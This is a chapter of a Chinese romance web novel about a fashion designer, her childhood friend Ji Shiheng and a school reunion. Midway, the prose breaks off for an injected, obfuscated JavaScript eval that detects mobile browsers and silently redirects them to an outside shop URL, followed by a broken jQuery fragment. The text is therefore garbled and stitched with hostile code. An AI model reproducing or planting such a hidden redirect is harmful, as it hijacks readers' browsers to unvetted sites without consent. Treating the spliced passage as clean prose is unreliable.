陈叙宁最后还是坐上了纪时珩的车,余烦是被谢家司机送回去的,她坐在副驾,还能透过窗户看到二楼的谢滦双手慵懒地搭在栏杆上,见他们出来摆了摆手,耳朵上的耳钉反射着日光,格外耀眼。
纪时珩一个人开车来的,当时接到谢滦电话觉得不对劲赶过来,发现她果然在这,他问:“怎么来这里了?”
陈叙宁说:“谢泠找我定制礼服。”
纪时珩微不可察地皱了皱眉,在思考这背后谢滦捣乱的可能性有几分,但她接下来的话打消了他的疑虑。
“不过她哥哥不知道,我们今天也是第一天见面,她很喜欢我之前的作品。”陈叙宁不知道为什么就下意识和他解释,说到最后一句还扬了扬嘴角,很是开心。
纪时珩看了她一眼,注意到有些得意的脸蛋,眼睛亮闪闪的,好久没见到她这样高兴的表情了。
印象最深的是初三那次,画画作品被学校送到上面参加比赛获了奖,她因为眉毛上的伤已经很久没开心过了,甚至都不愿意见人,在知道获奖消息的时候还是第一个找到了他分享,在他面前手舞足蹈地形容那个比赛有多厉害,而她又是如何从全校参赛的一百多个人中脱颖而出的。
“真厉害。”他赞叹道。
陈叙宁哼哼了两声,但见他一直认真地看着自己的眉毛,倏地一顿,不免又想到了那件事,摸着眉毛微微低下了头,好不容易起来的心情又下去了一点。
纪时珩安慰她说:“已经不明显了。”
但她还是躲闪着目光,摸着那里不放手,而这样的动作几乎伴随着她整个青春期。
等红灯的时候,纪时珩从后视镜看过去,正好能看见她眉眼处一道贯穿眼尾和眉毛的疤痕,经过岁月的冲刷洗礼,那道疤已经很淡了,只有一点点白色的痕迹,不细看根本看不见。
可那也是一道刻在两人心中永远不可抹去的疤痕。
她现在笑的时候没有摸眉毛这个小动作了,看起来像是摆脱了旧日疮疤的阴影,忘掉不好的东西这很好,可她是不是把他也忘掉了?
将他独自留在那个充满哭泣与酸涩的雨季里,挣脱不出,至今依旧为此痛苦不解,一遍遍地去纠结那些没有答案的问题,困在或是美好或是悲伤的回忆里。
“厉害。”可即便是这样,他这次依旧给出了同样的回答。
一边的陈叙宁怔愣住了,他怎么还突然夸起他来了?随即笑了笑说:“也没有这么厉害。”
还能察觉到里面的几分羞涩。
纪时珩勾起唇,眼里却黑得深不见底,她越是这样,他心里的欲念就越是强烈,很想摧毁这样的她,将她一齐拉入深渊囚牢。
可这样的她又是那样招人怜爱,像个小兔子一样,他每次狠下心想说什么做什么的时候,都察觉不到,两只长耳朵软塌塌地垂在两边,在外面慢悠悠地一口一口吃草发呆,戳一下就动一下。
就这样,他心软了。
纪时珩不免自嘲一笑,都是自己惯的,活该。
将她送到家,一句话没说,纪时珩就开车走了,留下什么都不知道的陈叙宁在原地发愣。
她觉得他似乎是生气了,但又不知道自己哪里惹到他了。
这边回去之后,陈叙宁又忙起来,改稿打版,挑选布料,忙活了好一阵,连许笑蓝的邀约都拒绝了好几次。
“我生气了!”许笑蓝在那边说,“你怎么比我还忙了。”
陈叙宁笑:“以后说不定更忙哈哈。”
到时候马拉松比赛开始,说不定全国的人都能看见她设计的衣服呢,这比她自己参加一场比赛一场走秀带来的成就感还要多。
“恭喜我们陈叙宁大设计师强势回归!”
“哪称得上,可别打趣我了。”陈叙宁被她逗笑了。
她之前的确在圈内小火了一把,当时她还在读研一,国内有一场规模很大也很有含金量的比赛,主题是时间,她当时看到这个主题不知道想到什么就报名参加了。
参赛作品还是她大学期间断断续续画的一个系列——“花季雨季”。
一共五款,从图稿到打版到成品成衣,全是她一个人完成的,几乎是耗费了自己前几年兼职存的所有积蓄,那时候饿了就啃馒头,昼夜颠倒,才完成了这个作品。
她本来没想得奖或者什么,就是当时心里一直有个念头促使着她参加了,最后出乎意料地拿了冠军,这个结果都要把她砸晕了。
各种采访比赛接踵而来,她也把当初花费的金钱连本带利翻了不知道多少倍地赚了回来,有很多人花重金想买下那一个系列,甚至还有明星想要借穿,她都没同意。
就有许多公司向她抛出了橄榄枝,毕业后能直接入职,可她都没有接住,她总感觉太虚幻了。
陈叙宁觉得这不是她想要的,每次忙到深夜,她都会思考,这真的是自己想要的吗?赚到钱了开心是开心,每天忙得乱转,可为什么又那么孤独呢?
每个深夜,她好像都只有一个人。
陈叙宁后来推了很多工作,比赛也不参加了,毕业后出去玩了几个月,被她爸陈阳辉一通电话给喊了回来,她差点忘了自己身上的责任,后来在许笑蓝的劝说下搬去了临京市,成立了自己的工作室,从头再来。
“喂?”
“你这周末的校友聚会去不去?”
许笑蓝把她的思绪拉了回来,她问:“你去?”
“我想去,但如果你不去的话那我也不去了,没意思,也不是很想看到他们那群人,主要是当时不是在学校存了给未来自己的一封信吗,咱俩去拿回来啊。”
陈叙宁内心触动,想了想,大家都连轴转好几天了,正好趁这周末放个假休息,她说:“可以,到时候我们一起去吧。”
“欸,你知道学校想邀请谁做优秀校友发言吗?”
“谁?”
“纪时珩!”许笑蓝语气夸张,“但不知道他有没有同意,班长在群里说的。”
“……哦。”
就听到许笑蓝在那边邪邪地笑。
“你笑什么?”
“我有种预感你们……”
“停!”陈叙宁及时出手,按住了她接下来要说的话。
周六,许笑蓝准时出现在她家小区门口,陈叙宁出发前还特意给工作室那边打了个电话,说都回家不准再工作了,好好休息两天等她回来。
到了云城,两人先在学校周围吃了个中饭,然后再去学校逛逛,晚上在某个饭店聚餐,还有ktv聚会,明天才是学校正式举行的优秀校友返校活动。
一进学校,熟悉的场景印入眼帘,整齐的教学楼,广阔的操场,路边的花坛,随风飘动的红旗。
许笑蓝把她拉到一边,看光荣榜上这一届的清北之星,说不怎么帅,不如当年的纪时珩。
纪时珩那时候可是学校的风云人物,年年霸占各种榜单,虽然低她们一届,可还是时不时能听到他的消息,再加上他那时候以陈叙宁的弟弟自称,经常能看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632468|206431||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
到他的身影。
“你觉得呢?”她问。
陈叙宁愣了一秒,然后打她:“你又逗我!”
“哈哈。”
她们围着操场走了一圈,太热了,又回到教学楼这边,本来还想去原来的教室看看,但得知还有高三的在上课,只好作罢,准备现在就去拿信。
信摆放在食堂里,每个班都分了区域,旁边还坐了一个阿姨,见她们进来,连忙迎了上来,问哪个班的,出示一下证明。
他们来之前都做了电子身份证明,不然都进不来学校。
陈叙宁给她看了之后,没一会儿那个阿姨就走到某个桌子边,手从一排排信封上摸过去,最后拿了两封过来交给她们。
陈叙宁接过,发现食堂另外一边还有一些人,正坐在那里看,她说:“我们要不出去看吧,找个没人的地方。”
“之前那个秘密基地怎么样?”许笑蓝兴奋道。
“可以。”
她们来到了一处老旧的实验楼前,旁边有一道无人的走廊,这里鲜少有人经过,就成了她们说小秘密的地方。
陈叙宁小心打开自己的,里面有一封自己的还有一封许笑蓝给她的。
她先看了许笑蓝写给她的,一直在笑,因为全篇都在夸她,说她以后会多么多么优秀,能赚多少钱要她包养她,只是最后一句——
以后要天天开心啊!
陈叙宁鼻尖涌上一股酸酸麻麻的感觉,笑了笑说:“我现在天天都开心。”
“你看我说得多准,就说你以后肯定有本事吧,那时候你可是班上最发狠的人,最后那段时间都要把我吓到了,不要命地学。”
陈叙宁低下头,牵了牵嘴角:“那时候只想着一定要考个好大学。”
许笑蓝抬眼,注意到她眉眼间的落寞,立马说道:“你看你给我写的什么,把我说得跟你救世主一样,我要哭了!”
“哭吧,肩膀给你哈哈。”陈叙宁说着还真的倾了倾身子。
两人互相依靠着打开自己写给自己的。
稚嫩的字迹,字里行间皆是迷茫,虽然不多,但都是她当下最想说的,却无人可听,只能让七年后成熟了的自己听。
陈叙宁一行行看过,想哭又想笑,她想对那个多愁善感的女孩说,想说自己现在也并不强大,只是有很多事情没那么纠结了,看得轻自然也就放得下。
可是,那时候的她把自己困在了思想的死胡同里,硬去想一个结果,甚至吧所有结果都预想得很坏,成了坏情绪的奴隶。
她全部看完,叹了口气,就听许笑蓝在那感慨。
“我现在想想我们那次吵架就想笑,两个幼稚鬼,一点小事也吵半天,好像还是因为那几天你没陪我去厕所,然后就直接爆炸了,你那段时间太拼了,我都不知道找谁玩。”
“唉,”陈叙宁又叹了口气,“我也不知道我那个时候为什么会这样。”
被冷落的不止是许笑蓝,还有纪时珩,总之她好像不经意间疏忽了很多人。
“不过没想到吵了一架后我们关系还更好了,真奇妙。”她说。
陈叙宁莞尔,仰头望着头顶烈阳,刺得眯了眯眼:“对啊。”
世事无常,这个世界本就是奇妙的,谁也不知道下一秒会发生什么。
日头渐渐下沉,晚霞余晖铺满了整个天空,快到时间,两人往约定的饭店走去。
刚到门口,就见到一个穿着白色长裙的女人站在那儿,身形高挑,眉目温婉。